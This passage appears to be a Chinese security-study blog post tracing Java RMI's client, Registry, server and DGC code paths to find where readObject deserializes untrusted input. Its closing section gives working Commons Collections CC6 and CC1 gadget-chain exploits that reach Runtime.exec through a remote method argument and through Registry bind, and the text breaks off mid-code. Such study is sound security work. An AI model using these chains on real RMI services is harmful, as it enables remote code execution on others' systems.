最后回到lookup这里,如果一切都没问题的话就会将Registry发送过来的字节流进行反序列化出一个proxy代理对象

可以看到最终得到这个stub

客户端请求服务端进行交互

也就是客户端与服务端交互过程

毕竟是proxy对象,所以会直接跳到invoke方法那里,接着调用invokeRemoteMethod方法

最后调用ref的invoke方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
public Object invoke(Remote obj,
Method method,
Object[] params,
long opnum)
throws Exception
{
if (clientRefLog.isLoggable(Log.VERBOSE)) {
clientRefLog.log(Log.VERBOSE, "method: " + method);
}

if (clientCallLog.isLoggable(Log.VERBOSE)) {
logClientCall(obj, method);
}

Connection conn = ref.getChannel().newConnection();
RemoteCall call = null;
boolean reuse = true;
boolean alreadyFreed = false;

try {
if (clientRefLog.isLoggable(Log.VERBOSE)) {
clientRefLog.log(Log.VERBOSE, "opnum = " + opnum);
}
call = new StreamRemoteCall(conn, ref.getObjID(), -1, opnum);
try {
ObjectOutput out = call.getOutputStream();
marshalCustomCallData(out);
Class<?>[] types = method.getParameterTypes();
for (int i = 0; i < types.length; i++) {
marshalValue(types[i], params[i], out);
}
} catch (IOException e) {
clientRefLog.log(Log.BRIEF,
"IOException marshalling arguments: ", e);
throw new MarshalException("error marshalling arguments", e);
}

call.executeCall();

try {
Class<?> rtype = method.getReturnType();
if (rtype == void.class)
return null;
ObjectInput in = call.getInputStream();

Object returnValue = unmarshalValue(rtype, in);

alreadyFreed = true;
clientRefLog.log(Log.BRIEF, "free connection (reuse = true)");

ref.getChannel().free(conn, true);

return returnValue;

} catch (IOException e) {
clientRefLog.log(Log.BRIEF,
"IOException unmarshalling return: ", e);
throw new UnmarshalException("error unmarshalling return", e);
} catch (ClassNotFoundException e) {
clientRefLog.log(Log.BRIEF,
"ClassNotFoundException unmarshalling return: ", e);

throw new UnmarshalException("error unmarshalling return", e);
} finally {
try {
call.done();
} catch (IOException e) {
reuse = false;
}
}

} catch (RuntimeException e) {
if ((call == null) ||
(((StreamRemoteCall) call).getServerException() != e))
{
reuse = false;
}
throw e;

} catch (RemoteException e) {
reuse = false;
throw e;

} catch (Error e) {
reuse = false;
throw e;

} finally {
if (!alreadyFreed) {
if (clientRefLog.isLoggable(Log.BRIEF)) {
clientRefLog.log(Log.BRIEF, "free connection (reuse = " +
reuse + ")");
}
ref.getChannel().free(conn, reuse);
}
}
}

首先这里与客户端建立了连接

这里想远程对象请求指定方法,这里使用的方法的hash值作为搜索条件向服务端进行请求

这里就是向远程对象发送方法的参数序列化值,这个marshalValue方法就是一个序列化方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
protected static void marshalValue(Class<?> type, Object value,
ObjectOutput out)
throws IOException
{
if (type.isPrimitive()) {
if (type == int.class) {
out.writeInt(((Integer) value).intValue());
} else if (type == boolean.class) {
out.writeBoolean(((Boolean) value).booleanValue());
} else if (type == byte.class) {
out.writeByte(((Byte) value).byteValue());
} else if (type == char.class) {
out.writeChar(((Character) value).charValue());
} else if (type == short.class) {
out.writeShort(((Short) value).shortValue());
} else if (type == long.class) {
out.writeLong(((Long) value).longValue());
} else if (type == float.class) {
out.writeFloat(((Float) value).floatValue());
} else if (type == double.class) {
out.writeDouble(((Double) value).doubleValue());
} else {
throw new Error("Unrecognized primitive type: " + type);
}
} else {
out.writeObject(value);
}
}

出来到这里就是客户端反序列化返回的值了

调用了executeCall方法,跟前面一样是可以进行反序列化攻击的

这里会调用unmarshalValue方法反序列化远程对象传过来的方法执行结果返回值,如果该方法是void,则在之前就直接return了

可以看到这个unmarshalValue跟前面序列化那个方法是对称的

这里其实是可以进行反序列化攻击的,只要这个方法返回的是一个对象类型就能触发readObject

也就是public Object method()

最终return出来

也就是说客户端与服务端交互时客户端在

这两个地方能够出现反序列化漏洞

Registry注册中心处理客户端请求

客户端处理与Registry交互的时候使用的RegistryImpl_Stub,那Registry接受客户端的信息处理则使用的RegistryImpl_Skeleton

skeleton有个dispatch方法,用来处理客户端的数据,那怎么才能调用到skeleton那里去呢,我们学完前面的可以知道,服务端会调用一个listen方法进行监听,我们这里再回忆一遍

run0的代码比较多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
private void run0() {
TCPEndpoint endpoint = getEndpoint();
int port = endpoint.getPort();

threadConnectionHandler.set(this);

// set socket to disable Nagle's algorithm (always send
// immediately)
// TBD: should this be left up to socket factory instead?
try {
socket.setTcpNoDelay(true);
} catch (Exception e) {
// if we fail to set this, ignore and proceed anyway
}
// set socket to timeout after excessive idle time
try {
if (connectionReadTimeout > 0)
socket.setSoTimeout(connectionReadTimeout);
} catch (Exception e) {
// too bad, continue anyway
}

try {
InputStream sockIn = socket.getInputStream();
InputStream bufIn = sockIn.markSupported()
? sockIn
: new BufferedInputStream(sockIn);

// Read magic (or HTTP wrapper)
bufIn.mark(4);
DataInputStream in = new DataInputStream(bufIn);
int magic = in.readInt();

if (magic == POST) {
tcpLog.log(Log.BRIEF, "decoding HTTP-wrapped call");

// It's really a HTTP-wrapped request. Repackage
// the socket in a HttpReceiveSocket, reinitialize
// sockIn and in, and reread magic.
bufIn.reset(); // unread "POST"

try {
socket = new HttpReceiveSocket(socket, bufIn, null);
remoteHost = "0.0.0.0";
sockIn = socket.getInputStream();
bufIn = new BufferedInputStream(sockIn);
in = new DataInputStream(bufIn);
magic = in.readInt();

} catch (IOException e) {
throw new RemoteException("Error HTTP-unwrapping call",
e);
}
}
// bufIn's mark will invalidate itself when it overflows
// so it doesn't have to be turned off

// read and verify transport header
short version = in.readShort();
if (magic != TransportConstants.Magic ||
version != TransportConstants.Version) {
// protocol mismatch detected...
// just close socket: this would recurse if we marshal an
// exception to the client and the protocol at other end
// doesn't match.
closeSocket(socket);
return;
}

OutputStream sockOut = socket.getOutputStream();
BufferedOutputStream bufOut =
new BufferedOutputStream(sockOut);
DataOutputStream out = new DataOutputStream(bufOut);

int remotePort = socket.getPort();

if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "accepted socket from [" +
remoteHost + ":" + remotePort + "]");
}

TCPEndpoint ep;
TCPChannel ch;
TCPConnection conn;

// send ack (or nack) for protocol
byte protocol = in.readByte();
switch (protocol) {
case TransportConstants.SingleOpProtocol:
// no ack for protocol

// create dummy channel for receiving messages
ep = new TCPEndpoint(remoteHost, socket.getLocalPort(),
endpoint.getClientSocketFactory(),
endpoint.getServerSocketFactory());
ch = new TCPChannel(TCPTransport.this, ep);
conn = new TCPConnection(ch, socket, bufIn, bufOut);

// read input messages
handleMessages(conn, false);
break;

case TransportConstants.StreamProtocol:
// send ack
out.writeByte(TransportConstants.ProtocolAck);

// suggest endpoint (in case client doesn't know host name)
if (tcpLog.isLoggable(Log.VERBOSE)) {
tcpLog.log(Log.VERBOSE, "(port " + port +
") " + "suggesting " + remoteHost + ":" +
remotePort);
}

out.writeUTF(remoteHost);
out.writeInt(remotePort);
out.flush();

// read and discard (possibly bogus) endpoint
// REMIND: would be faster to read 2 bytes then skip N+4
String clientHost = in.readUTF();
int clientPort = in.readInt();
if (tcpLog.isLoggable(Log.VERBOSE)) {
tcpLog.log(Log.VERBOSE, "(port " + port +
") client using " + clientHost + ":" + clientPort);
}

// create dummy channel for receiving messages
// (why not use clientHost and clientPort?)
ep = new TCPEndpoint(remoteHost, socket.getLocalPort(),
endpoint.getClientSocketFactory(),
endpoint.getServerSocketFactory());
ch = new TCPChannel(TCPTransport.this, ep);
conn = new TCPConnection(ch, socket, bufIn, bufOut);

// read input messages
handleMessages(conn, true);
break;

case TransportConstants.MultiplexProtocol:
if (tcpLog.isLoggable(Log.VERBOSE)) {
tcpLog.log(Log.VERBOSE, "(port " + port +
") accepting multiplex protocol");
}

// send ack
out.writeByte(TransportConstants.ProtocolAck);

// suggest endpoint (in case client doesn't already have one)
if (tcpLog.isLoggable(Log.VERBOSE)) {
tcpLog.log(Log.VERBOSE, "(port " + port +
") suggesting " + remoteHost + ":" + remotePort);
}

out.writeUTF(remoteHost);
out.writeInt(remotePort);
out.flush();

// read endpoint client has decided to use
ep = new TCPEndpoint(in.readUTF(), in.readInt(),
endpoint.getClientSocketFactory(),
endpoint.getServerSocketFactory());
if (tcpLog.isLoggable(Log.VERBOSE)) {
tcpLog.log(Log.VERBOSE, "(port " +
port + ") client using " +
ep.getHost() + ":" + ep.getPort());
}

ConnectionMultiplexer multiplexer;
synchronized (channelTable) {
// create or find channel for this endpoint
ch = getChannel(ep);
multiplexer =
new ConnectionMultiplexer(ch, bufIn, sockOut,
false);
ch.useMultiplexer(multiplexer);
}
multiplexer.run();
break;

default:
// protocol not understood, send nack and close socket
out.writeByte(TransportConstants.ProtocolNack);
out.flush();
break;
}

} catch (IOException e) {
// socket in unknown state: destroy socket
tcpLog.log(Log.BRIEF, "terminated with exception:", e);
} finally {
closeSocket(socket);
}
}

客户端的代码如下

第一步获取Registry的时候,Registry会读取协议处理

然后进入到这个case,然后将Registry的ip和端口返回给客户端

第二次请求,客户端调用lookup时服务端的run0方法进入到这里

可以看到这里与客户端建立了连接,并使用handleMessage处理与客户端的请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
void handleMessages(Connection conn, boolean persistent) {
int port = getEndpoint().getPort();

try {
DataInputStream in = new DataInputStream(conn.getInputStream());
do {
int op = in.read(); // transport op
if (op == -1) {
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "(port " +
port + ") connection closed");
}
break;
}

if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "(port " + port +
") op = " + op);
}

switch (op) {
case TransportConstants.Call:
// service incoming RMI call
RemoteCall call = new StreamRemoteCall(conn);
if (serviceCall(call) == false)
return;
break;

case TransportConstants.Ping:
// send ack for ping
DataOutputStream out =
new DataOutputStream(conn.getOutputStream());
out.writeByte(TransportConstants.PingAck);
conn.releaseOutputStream();
break;

case TransportConstants.DGCAck:
DGCAckHandler.received(UID.read(in));
break;

default:
throw new IOException("unknown transport op " + op);
}
} while (persistent);

} catch (IOException e) {
// exception during processing causes connection to close (below)
if (tcpLog.isLoggable(Log.BRIEF)) {
tcpLog.log(Log.BRIEF, "(port " + port +
") exception: ", e);
}
} finally {
try {
conn.close();
} catch (IOException ex) {
// eat exception
}
}
}

这里读取客户端传来的第一个字节80,也就是opcode码,用来指示Registry需要执行哪一步操作的

很明显这里进入了第一个case,调用serviceCall进行下一步处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
public boolean serviceCall(final RemoteCall call) {
try {
/* read object id */
final Remote impl;
ObjID id;

try {
id = ObjID.read(call.getInputStream());
} catch (java.io.IOException e) {
throw new MarshalException("unable to read objID", e);
}

/* get the remote object */
Transport transport = id.equals(dgcID) ? null : this;
Target target =
ObjectTable.getTarget(new ObjectEndpoint(id, transport));

if (target == null || (impl = target.getImpl()) == null) {
throw new NoSuchObjectException("no such object in table");
}

final Dispatcher disp = target.getDispatcher();
target.incrementCallCount();
try {
/* call the dispatcher */
transportLog.log(Log.VERBOSE, "call dispatcher");

final AccessControlContext acc =
target.getAccessControlContext();
ClassLoader ccl = target.getContextClassLoader();

ClassLoader savedCcl = Thread.currentThread().getContextClassLoader();

try {
setContextClassLoader(ccl);
currentTransport.set(this);
try {
java.security.AccessController.doPrivileged(
new java.security.PrivilegedExceptionAction<Void>() {
public Void run() throws IOException {
checkAcceptPermission(acc);
disp.dispatch(impl, call);
return null;
}
}, acc);
} catch (java.security.PrivilegedActionException pae) {
throw (IOException) pae.getException();
}
} finally {
setContextClassLoader(savedCcl);
currentTransport.set(null);
}

} catch (IOException ex) {
transportLog.log(Log.BRIEF,
"exception thrown by dispatcher: ", ex);
return false;
} finally {
target.decrementCallCount();
}

} catch (RemoteException e) {

// if calls are being logged, write out exception
if (UnicastServerRef.callLog.isLoggable(Log.BRIEF)) {
// include client host name if possible
String clientHost = "";
try {
clientHost = "[" +
RemoteServer.getClientHost() + "] ";
} catch (ServerNotActiveException ex) {
}
String message = clientHost + "exception: ";
UnicastServerRef.callLog.log(Log.BRIEF, message, e);
}

/* We will get a RemoteException if either a) the objID is
* not readable, b) the target is not in the object table, or
* c) the object is in the midst of being unexported (note:
* NoSuchObjectException is thrown by the incrementCallCount
* method if the object is being unexported). Here it is
* relatively safe to marshal an exception to the client
* since the client will not have seen a return value yet.
*/
try {
ObjectOutput out = call.getResultStream(false);
UnicastServerRef.clearStackTraces(e);
out.writeObject(e);
call.releaseOutputStream();

} catch (IOException ie) {
transportLog.log(Log.BRIEF,
"exception thrown marshalling exception: ", ie);
return false;
}
}

return true;
}

这里就是在从Registry静态表里面获取客户端所需要的远程对象

获取到target对象之后返回arget的dispatcher

也就是Registry服务端的skeleton封装,UniCastRef是stub的封装,UnicastServerRef则是skeleton的封装

到这里就又新建了一个线程用来调用UnicastServerRef的dispatch方法

到了dispatch里面根据call传来的数据的第一个字节为1,又进入了新的dispatch,oldDispatch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public void oldDispatch(Remote obj, RemoteCall call, int op)
throws IOException
{
long hash; // hash for matching stub with skeleton

try {
// read remote call header
ObjectInput in;
try {
in = call.getInputStream();
try {
Class<?> clazz = Class.forName("sun.rmi.transport.DGCImpl_Skel");
if (clazz.isAssignableFrom(skel.getClass())) {
((MarshalInputStream)in).useCodebaseOnly();
}
} catch (ClassNotFoundException ignore) { }
hash = in.readLong();
} catch (Exception readEx) {
throw new UnmarshalException("error unmarshalling call header",
readEx);
}

// if calls are being logged, write out object id and operation
logCall(obj, skel.getOperations()[op]);
unmarshalCustomCallData(in);
// dispatch to skeleton for remote object
skel.dispatch(obj, call, op, hash);

} catch (Throwable e) {
logCallException(e);

ObjectOutput out = call.getResultStream(false);
if (e instanceof Error) {
e = new ServerError(
"Error occurred in server thread", (Error) e);
} else if (e instanceof RemoteException) {
e = new ServerException(
"RemoteException occurred in server thread",
(Exception) e);
}
if (suppressStackTraces) {
clearStackTraces(e);
}
out.writeObject(e);
} finally {
call.releaseInputStream(); // in case skeleton doesn't
call.releaseOutputStream();
}
}

最后在这里面调用了skel的dispatch方法,这里的skeleton看下面可以知道就是RegistryImpl_Skel,因为这个类是java1.1编译的,我们本地使用的java1.8所以调试不进去,我们就静态分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
public void dispatch(Remote var1, RemoteCall var2, int var3, long var4) throws Exception {
if (var4 != 4905912898345647071L) {
throw new SkeletonMismatchException("interface hash mismatch");
} else {
RegistryImpl var6 = (RegistryImpl)var1;
String var7;
Remote var8;
ObjectInput var10;
ObjectInput var11;
switch (var3) {
case 0:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var94) {
throw new UnmarshalException("error unmarshalling arguments", var94);
} catch (ClassNotFoundException var95) {
throw new UnmarshalException("error unmarshalling arguments", var95);
} finally {
var2.releaseInputStream();
}

var6.bind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var93) {
throw new MarshalException("error marshalling return", var93);
}
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();

try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
case 2:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var89) {
throw new UnmarshalException("error unmarshalling arguments", var89);
} catch (ClassNotFoundException var90) {
throw new UnmarshalException("error unmarshalling arguments", var90);
} finally {
var2.releaseInputStream();
}

var8 = var6.lookup(var7);

try {
ObjectOutput var9 = var2.getResultStream(true);
var9.writeObject(var8);
break;
} catch (IOException var88) {
throw new MarshalException("error marshalling return", var88);
}
case 3:
try {
var11 = var2.getInputStream();
var7 = (String)var11.readObject();
var8 = (Remote)var11.readObject();
} catch (IOException var85) {
throw new UnmarshalException("error unmarshalling arguments", var85);
} catch (ClassNotFoundException var86) {
throw new UnmarshalException("error unmarshalling arguments", var86);
} finally {
var2.releaseInputStream();
}

var6.rebind(var7, var8);

try {
var2.getResultStream(true);
break;
} catch (IOException var84) {
throw new MarshalException("error marshalling return", var84);
}
case 4:
try {
var10 = var2.getInputStream();
var7 = (String)var10.readObject();
} catch (IOException var81) {
throw new UnmarshalException("error unmarshalling arguments", var81);
} catch (ClassNotFoundException var82) {
throw new UnmarshalException("error unmarshalling arguments", var82);
} finally {
var2.releaseInputStream();
}

var6.unbind(var7);

try {
var2.getResultStream(true);
break;
} catch (IOException var80) {
throw new MarshalException("error marshalling return", var80);
}
default:
throw new UnmarshalException("invalid method number");
}

}
}

首先根据var3也就是op码,进入不同的case

这里op=2

这里case=2的情况是调用lookup方法

然后将查询到的对象给返回回去

这里可以看到调用了readObject

也就是说可以反序列化的,当然也不止这一个点能反序列化

case0的bind

case3的rebind

case4的unbind都能触发反序列化漏洞

  • 0->bind
  • 1->list
  • 2->lookup
  • 3->rebind
  • 4->unbind

这里面出了list其他都可以进行反序列化攻击

服务端处理客户端请求

首先我们知道服务端创建的时候是没有skeleton的,只在发布的时候调用listen方法监听了一下

回忆一下,这里是用executeAcceptLoop方法来处理的

这个方法又起了另外一个线程

到dispatch这里跟Registry唯一不同的就是远程对象的UniCastServerRef没有skeleton

也就进入了后面直接查找方法的地方,这里我还是把dispatch代码贴一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
public void dispatch(Remote obj, RemoteCall call) throws IOException {
// positive operation number in 1.1 stubs;
// negative version number in 1.2 stubs and beyond...
int num;
long op;

try {
// read remote call header
ObjectInput in;
try {
in = call.getInputStream();
num = in.readInt();
if (num >= 0) {
if (skel != null) {
oldDispatch(obj, call, num);
return;
} else {
throw new UnmarshalException(
"skeleton class not found but required " +
"for client version");
}
}
op = in.readLong();
} catch (Exception readEx) {
throw new UnmarshalException("error unmarshalling call header",
readEx);
}

/*
* Since only system classes (with null class loaders) will be on
* the execution stack during parameter unmarshalling for the 1.2
* stub protocol, tell the MarshalInputStream not to bother trying
* to resolve classes using its superclasses's default method of
* consulting the first non-null class loader on the stack.
*/
MarshalInputStream marshalStream = (MarshalInputStream) in;
marshalStream.skipDefaultResolveClass();

Method method = hashToMethod_Map.get(op);
if (method == null) {
throw new UnmarshalException("unrecognized method hash: " +
"method not supported by remote object");
}

// if calls are being logged, write out object id and operation
logCall(obj, method);

// unmarshal parameters
Class<?>[] types = method.getParameterTypes();
Object[] params = new Object[types.length];

try {
unmarshalCustomCallData(in);
for (int i = 0; i < types.length; i++) {
params[i] = unmarshalValue(types[i], in);
}
} catch (java.io.IOException e) {
throw new UnmarshalException(
"error unmarshalling arguments", e);
} catch (ClassNotFoundException e) {
throw new UnmarshalException(
"error unmarshalling arguments", e);
} finally {
call.releaseInputStream();
}

// make upcall on remote object
Object result;
try {
result = method.invoke(obj, params);
} catch (InvocationTargetException e) {
throw e.getTargetException();
}

// marshal return value
try {
ObjectOutput out = call.getResultStream(true);
Class<?> rtype = method.getReturnType();
if (rtype != void.class) {
marshalValue(rtype, result, out);
}
} catch (IOException ex) {
throw new MarshalException("error marshalling return", ex);
/*
* This throw is problematic because when it is caught below,
* we attempt to marshal it back to the client, but at this
* point, a "normal return" has already been indicated,
* so marshalling an exception will corrupt the stream.
* This was the case with skeletons as well; there is no
* immediately obvious solution without a protocol change.
*/
}
} catch (Throwable e) {
logCallException(e);

ObjectOutput out = call.getResultStream(false);
if (e instanceof Error) {
e = new ServerError(
"Error occurred in server thread", (Error) e);
} else if (e instanceof RemoteException) {
e = new ServerException(
"RemoteException occurred in server thread",
(Exception) e);
}
if (suppressStackTraces) {
clearStackTraces(e);
}
out.writeObject(e);
} finally {
call.releaseInputStream(); // in case skeleton doesn't
call.releaseOutputStream();
}
}

接着会反序列化参数,也就是说这里传入一个Object参数就能触发反序列化漏洞

接着服务端执行方法,然后将结果result序列化返回给客户端

DGCImpl的创建过程

这个DGCImpl叫分布式垃圾回收远程对象,专门用来清理远程对象的

我们在创建远程对象的时候就见过这个对象,这里我们回忆一下

这里在创建远程对象,往objTable里面put东西的时候先是put的这个DGCImpl,然后是RegistryImpl最后是bind的远程对象WelcomeImpl

这里调试的时候target直接就是创建好的DGCImpl

堆栈网上走发现在DGCImpl的静态代码块调用ObjectTable.putTarget

那到底是哪里触发了staic代码块呢,static代码块是类初始化调用的代码,所以只要找到在哪最开始调用了DGCimpl类的地方就能找到

很明显在这个地方,我们在put这个RegistryImpl对象进去的时候先触发了一下这个if判断,而这个if判断是我们第一遇到DGCImpl的地方

可以看到这里调用了DGCImpl的静态变量dgcLog,所以就出发了DGCImpl的类初始化

接着我们看下DGCImpl的初始化流程,可以看到很像RegistryImpl的创建流程

首先创建stub调用的createProxy方法里面调用进createStub,

因为这个DGCImpl是存在的java源代码里面的

创建skeleton也是一样,直接类加载创建的skel对象,到这里DGCImpl的创建过程就将清楚了,接下来是分析DGCImpl的作用

客户端与服务端交互时DGCImpl的功能

可以看到这个DGC远程对象的客户端stub提供了两个功能,一个clean,一个dirty,从字面意思来看就是一个浅清洁,一个深清洁,dirty弱,clean强

dirty这里调用了invoke方法,可以打反序列化的

clean这边也是一样调用了invoke方法

在看一下DGCImpl的服务端

这两个地方都是能打的点,都反序列化了

总结

  1. RMI 客户端在调用远程方法时会先创建 Stub ( sun.rmi.registry.RegistryImpl_Stub )。
  2. Stub 会将 Remote 对象传递给远程引用层 ( java.rmi.server.RemoteRef ) 并创建 java.rmi.server.RemoteCall( 远程调用 )对象。
  3. RemoteCall 序列化 RMI 服务名称、Remote 对象。
  4. RMI 客户端的远程引用层传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI 服务端的远程引用层。
  5. RMI服务端的远程引用层( sun.rmi.server.UnicastServerRef )收到请求会请求传递给 Skeleton ( sun.rmi.registry.RegistryImpl_Skel#dispatch )。
  6. Skeleton 调用 RemoteCall 反序列化 RMI 客户端传过来的序列化。
  7. Skeleton 处理客户端请求:bind、list、lookup、rebind、unbind,如果是 lookup 则查找 RMI 服务名绑定的接口对象,序列化该对象并通过 RemoteCall 传输到客户端。
  8. RMI 客户端反序列化服务端结果,获取远程对象的引用。
  9. RMI 客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
  10. RMI 客户端反序列化 RMI 远程方法调用结果。

攻击RMI

攻击服务端

Object参数

具体攻击场景如上,修改接口的参数为Object,服务端在解析客户端传来的Object对象参数时候会对其进行反序列化,具体的代码逻辑在UniCastServerRef那里的dispatch方法

这里的unmarshalValue方法会解析参数

如果参数类型是Object就调用readObject反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package RMI.Attack;

import RMI.Server.iWelcome;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Field;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class exp {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
iWelcome RemoteWelcome = (iWelcome) registry.lookup("welcome");
Object exp = CC6();
String result = RemoteWelcome.welcome(exp);
}
public static Object CC6() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");

lazyMap.remove("key");
// 在 put 之后通过反射修改值
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);
return expMap;
}
}

编写EXP打入一个CC6链,成功弹出计算器

绕过Object参数

一般情况下我们拿到的接口参数基本没有Object作为参数的,而且我们通过list方法列出的RMI服务端的接口只有一个接口名,我们拿不到具体的方法参数。

这里我们讨论一下方法参数不为Object的情况,如String

首先我们将本地的接口参数改成Object类型可以吗

很明显是不可以的

在UnicastServerRef的dispatch方法里面会先查找对应的方法,而这个查找方法的方法是通过hashToMethod_Map这个map里面通过方法的hash值来取获取的,这个hash值是一个基于方法签名的 SHA1 hash值

那既然知道了查找method的方法,那我们是不是可以传过去的method hash值为正确的hash值,而参数的具体内容改为Object对象,那么这样的话我们就需要修改RMI的流量包了

这里先修改一下服务端和客户端

攻击Registry端

在RegistryImpl_Skel的dispatch方法上之前提到的服务端接受客户端的某种请求,然后进入不同的case

之前也分析过了,除了list以外都能触发readObject进行反序列化攻击

bind,rebind

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package RMI.Attack;

import RMI.Server.WelcomeImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class attckRegistry {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);

InvocationHandler handler = (InvocationHandler) CC1();
Remote remote = (Remote) Proxy.newProxyInstance(
Remote.class.getClassLoader(), new Class[]{Remote.class}, handler);
registry.bind("test",remote);

}

public static Object CC1() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","drunkbaby");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
